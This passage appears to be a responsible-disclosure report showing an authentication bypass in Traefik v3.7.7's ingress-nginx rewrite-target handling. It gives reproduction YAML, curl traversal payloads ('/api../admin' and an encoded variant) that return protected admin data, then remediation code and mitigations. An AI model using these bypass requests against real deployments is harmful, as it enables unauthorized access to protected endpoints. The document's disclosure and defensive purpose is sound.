Details
Run it:
node backend.js
2. Apply the Kubernetes objects
The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.
apiVersion: v1
kind: Secret
metadata:
name: basic-auth
namespace: default
type: Opaque
stringData:
auth: |
admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: default
spec:
type: ExternalName
externalName: localhost
ports:
- name: http
port: 19090
targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: public-api
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
rules:
- http:
paths:
- path: /api(.*)
pathType: ImplementationSpecific
backend:
service:
name: backend
port:
number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: protected-admin
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/auth-type: basic
nginx.ingress.kubernetes.io/auth-secret: basic-auth
nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
rules:
- http:
paths:
- path: /admin
pathType: Prefix
backend:
service:
name: backend
port:
number: 19090
kubectl apply -f poc.yaml
3. Run unmodified Traefik v3.7.7
KUBECONFIG="$HOME/.kube/config" ./traefik \
--entryPoints.web.address=127.0.0.1:18080 \
--providers.kubernetesIngressNginx.watchNamespace=default \
--providers.kubernetesIngressNginx.httpEntryPoint=web \
--global.checkNewVersion=false \
--log.level=DEBUG
Traefik generates the following relevant dynamic configuration:
{
"rule": "PathRegexp(\"(?i)^/api(.*)\")",
"middlewares": ["...-rewrite-target"],
"rewriteTarget": {
"regex": "/api(.*)",
"replacement": "/$1"
}
}
The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.
4. Confirm authentication is enforced
curl --path-as-is -i http://127.0.0.1:18080/admin
Observed:
HTTP/1.1 401 Unauthorized
5. Exploit the traversal rewrite
Plain variant:
curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
Percent-encoded variant:
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.
Remediation
Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:
path := req.URL.Path
if path != "" {
req.URL = req.URL.JoinPath()
}
if path != req.URL.Path {
logger.Debug().Msgf(
"Rejecting request, normalized path %q differs from rewritten path %q",
req.URL.Path,
path,
)
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
req.RequestURI = req.URL.RequestURI()
Recommended additional actions:
- Centralize the post-transformation path validation used by
ReplacePathRegex,StripPrefix,StripPrefixRegex, and ingress-nginxRewriteTargetto prevent future drift. - Add regression tests for
/api../adminand/api%2e%2e/admin, expecting HTTP 400. - Test both
URL.PathandURL.RawPathcases and preserve legitimate encoded-path behavior. - Audit the ingress-nginx snippet
rewriteimplementation for the same post-rewrite invariant.
Temporary Mitigation
Use a regex that requires a separator or end-of-path before captured user data, for example:
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"
# Ingress path:
path: /api(/|$)(.*)
This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.
Duplicate Check
As of 2026-07-09:
- Traefik's public security advisories contain no entry mentioning
RewriteTargetor ingress-nginxrewrite-targetpath traversal. - Public issue and pull-request searches found no report for this path-normalization bypass.
- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes
pkg/middlewares/replacepathregex, while this report affectspkg/middlewares/ingressnginx/rewritetargetand reproduces on the version that contains that fix, v3.7.7.
Disclosure
If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.
</details>
---